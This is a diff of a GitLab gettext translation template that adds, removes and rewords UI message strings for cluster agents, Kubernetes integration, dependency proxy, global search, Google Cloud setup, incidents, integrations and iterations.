msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7952,15 +8127,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -8087,9 +8265,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -8135,12 +8310,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -8162,9 +8331,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8465,6 +8631,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8519,6 +8688,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8576,9 +8748,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8615,6 +8784,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -9043,6 +9215,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -9055,6 +9233,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -9094,9 +9275,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9817,7 +9995,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9973,6 +10151,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -10132,6 +10313,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -10165,9 +10349,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -10387,6 +10568,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10781,6 +10992,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11431,6 +11645,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11452,6 +11669,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11506,9 +11726,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11554,6 +11771,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11680,6 +11903,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11695,19 +11921,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11956,9 +12188,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -12194,7 +12423,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12470,6 +12699,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12640,6 +12872,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12730,9 +12965,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12766,6 +12998,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12844,9 +13079,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12940,6 +13181,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12955,6 +13199,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12976,6 +13223,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -13075,9 +13325,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -13129,6 +13376,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -13150,6 +13400,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -13222,6 +13475,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13396,6 +13652,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13482,16 +13744,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13731,9 +13990,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13782,9 +14038,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -14121,7 +14374,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -14306,9 +14559,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -14426,6 +14676,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14501,6 +14757,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14620,6 +14882,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14686,6 +14951,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14698,9 +14966,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -15146,6 +15411,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -15242,15 +15510,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -15329,6 +15588,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15542,6 +15804,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15647,9 +15912,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15923,9 +16185,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -16097,6 +16356,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -16160,6 +16422,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16331,6 +16596,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16478,7 +16788,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16535,6 +16857,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16799,7 +17124,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -17099,6 +17424,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -17276,7 +17607,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -17291,7 +17625,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17390,6 +17727,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17661,7 +18001,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17700,6 +18040,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18486,7 +18829,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18651,9 +18997,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18717,6 +19060,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18935,12 +19281,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -19058,6 +19410,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -19073,6 +19428,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -19103,7 +19464,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -19160,7 +19524,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -19298,22 +19662,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -19328,9 +19689,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19349,9 +19707,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19538,6 +19893,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19613,6 +19971,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19670,16 +20031,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19688,9 +20046,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19784,6 +20139,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19793,6 +20151,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19889,9 +20250,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19916,9 +20283,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -20027,18 +20391,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
